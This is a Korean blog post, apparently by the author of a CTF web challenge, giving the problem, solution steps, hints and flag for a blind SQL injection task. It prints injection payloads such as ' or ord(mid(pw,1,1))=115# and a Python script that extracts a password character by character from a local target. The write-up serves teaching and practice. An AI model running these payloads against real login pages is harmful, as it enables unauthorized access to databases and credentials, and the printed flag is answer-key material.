본문으로 바로가기

잠만 이거 A+ 각인데! (2020)

category JBU CTF 출제(web) 2022. 11. 1. 15:04

문제명:잠만 이거 A+ 각인데!

문제파일

  • wpgur_2.php
  • sql.php
  • db.php
  • image(디렉토리)

문제

교수님이 기말고사 문제를 미리 업로드 해두셨다!

시험이 시작할때 아이디와 비밀번호를 알려주신다고 했지만 미리 문제를 확인한다면...?

저번 중간고사때 id는 admin이였는데 pw만 알면....
잠만 이거 A+ 각이자나!!?!??

 

 

 

 

문제파일:wpgur_2.php,sql.php제공

 

 

난이도(상)

 

문제취지

 

sql injection이해, php해석능력,python script 작성 능력 키우기

 

 

풀이 방법

1. 문제를 들어가게 된다면 id와 pw를 입력할수 있게되어있다

2. wpgur_2.php를 보게 된다면 id값이 참이되면 correct id but... 라는 문구가 출력된다. ![mainphp_memo]

 

3. 하지만 이는 페이크요소이며 id가 참이아니라 query전체가 참이 되어야 발생이된다.

 

4. 즉 id와 pw가 둘다 맞지 않는다면 아무런 반응이 없다 하지만 sql문이 참이 되게끔 만들면 correct id but... 이라는 문구가 발생한다.

 

5. 또 wpgur_2.php를 분석하면 id와 pw를 제대로 입력하면 flag() 함수가 실행되는것을 볼수있다. 

6. 결론은 참이 나오게끔 sqli를 이용하여 db에 있는 password를 알아내면 된다

 

7. 알아내는 방법으로는 직접 명령어를 쳐보며 확인해보는 방법과 python script를 짜는 방법 두가지가 있다

 

8. 먼저 직접 알아내는 방법으로는 ' or length(pw)= 19#를 이용하여 길이를 알아낸다

 

9. 그뒤 ' or ord(mid(pw,1,1))=115# 와같이 적절한 함수를 이용하여 pw를 알아내면 된다![get_pw]

 

10. python script를 이용하는 방법은 다음과같이 requests 모듈을 사용하여 스크립드를 짜면 편하게 pw를 구할수있다

 

script1

import requests

url = "http://localhost:8080/secret/wpgur_2.php" #ctf url

r_data = {}

data={}
flag=""
 


#길이 구하기
for i in range(1,20):
      r_data['pw']="' or length(pw)='"+str(i)+"'#"
      res = requests.get(url, params=r_data)
      if "correct id but" in res.text:
         print("password_length="+str(i))
         break



#password 구하기
 
for i in range(1,20):
   for j in range(32,127):
      data['pw']="' or ord(mid(pw,"+str(i)+",1))='"+str(j)+"'#"
      res = requests.get(url, params=data)
      if "correct id but" in res.text:
         print("password["+str(i)+"]:"+chr(j))
         flag = flag + chr(j)
         break
 

print("full_falg:"+flag)

 

11. 따라서 id와 구한 pw를 입력하면 flag가 나온다.

 

flag

scpCTF{asd2a1_ASDW_21ddwqw}

 

힌트

  1. query를 평문으로 만들어 보자
  2. admin'#
  3. ' or 1#
  4. length(pw)=
  5. ord(mid(pw,1,1))=

'JBU CTF 출제(web)' 카테고리의 다른 글

중부 시크릿 페스티벌 (2022)  (0) 2022.11.01
(๑˃̵ᴗ˂̵) (2020)  (0) 2022.11.01
원래 문제 풀이를 하려했지만...  (0) 2020.06.01